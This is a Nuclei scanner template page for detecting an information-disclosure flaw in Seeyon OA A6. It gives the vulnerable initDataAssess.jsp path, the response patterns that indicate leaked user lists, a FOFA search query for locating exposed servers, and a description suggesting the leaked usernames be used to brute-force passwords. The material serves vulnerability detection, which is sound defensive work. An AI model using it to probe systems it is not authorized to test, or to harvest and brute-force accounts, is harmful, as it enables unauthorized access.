Seeyon OA A6 initDataAssess.jsp - Information Disclosure

ID: seeyon-initdata-exposure

Severity: medium

Author: SleepingBag945

Tags: seeyon,oa,info-leak

Description

Seeyon OA A6 initDataAssess.jsp has leaked user sensitive information, attacker can use the obtained username to blast the user’s password to enter the background for further attacks.

YAML Source

id: seeyon-initdata-exposure

info:
  name: Seeyon OA A6 initDataAssess.jsp - Information Disclosure
  author: SleepingBag945
  severity: medium
  description: |
    Seeyon OA A6 initDataAssess.jsp has leaked user sensitive information, attacker can use the obtained username to blast the user's password to enter the background for further attacks.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20A6%20initDataAssess.jsp%20%E7%94%A8%E6%88%B7%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="yyoa" && app="致远互联-OA"
  tags: seeyon,oa,info-leak

http:
  - raw:
      - |
        GET /yyoa/assess/js/initDataAssess.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "personList"
          - "personHash.Add"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a28777721a0349d1975f71995c25df5dbbb251f7e240e84735fe1857dd75c0f5022100847673b0cb7a53a427a5f9a9c4cbd9f69d39aed2ac9f46978df86ac49c86c0ac:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/seeyon/seeyon-initdata-exposure.yaml"

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